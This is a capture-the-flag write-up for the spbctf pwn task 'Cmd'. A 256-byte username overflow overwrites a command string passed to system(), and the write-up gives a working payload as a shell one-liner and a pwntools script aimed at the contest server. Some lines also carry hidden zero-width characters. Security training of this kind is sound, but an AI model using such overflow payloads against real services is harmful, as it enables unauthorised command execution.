Cmd

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: command_string_overwrite, stack_overflow, system_hijack

Summary

Task: get a shell from a binary that calls system() with a stack variable. Solution: overflow the username buffer (256 bytes) via read() with a 1024-byte limit to overwrite the adjacent cmd variable with "cat flag*", which is then passed to system().

Cmd — SPB CTF Pwn Season

Description

"Надо сделать переполнение переменной username на стеке и получить шелл." (Overflow username on stack to get shell)

Server: nc 109.233.56.90 11577 Binary: task — ELF 64-bit x86-64, not stripped

Analysis

Stack buffer overflow to overwrite a command string. Stack layout:

• username buffer: rbp-0x200 (256 bytes)
• cmd variable: rbp-0x100 (256 bytes, initialized to "/bin/date")
• Distance: 256 bytes
• read() limit: 0x400 (1024 bytes) — way more than buffer size ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The program reads up to 1024 bytes into a 256-byte buffer, then passes cmd to system().

Solution

By overflowing username, we overwrite cmd with our own command.

 bash read-only • copy allowed Copy
python3 -c "import sys; sys.stdout.buffer.write(b'A'*256 + b'cat flag*\n')" | nc 109.233.56.90 11577

Breakdown:

• b'A'*256 — padding to reach cmd variable
• b'cat flag*\n' — command to execute instead of /bin/date

 python read-only • copy allowed Copy
from pwn import *

io = remote('109.233.56.90', 11577)
payload = b'A' * 256 + b'cat flag*'
io.sendline(payload)
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack layout:

rbp-0x200: username[256]  <- overflow starts here
rbp-0x100: cmd[256]       <- overwrite with "cat flag*"
           ... system(cmd) is called ...

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍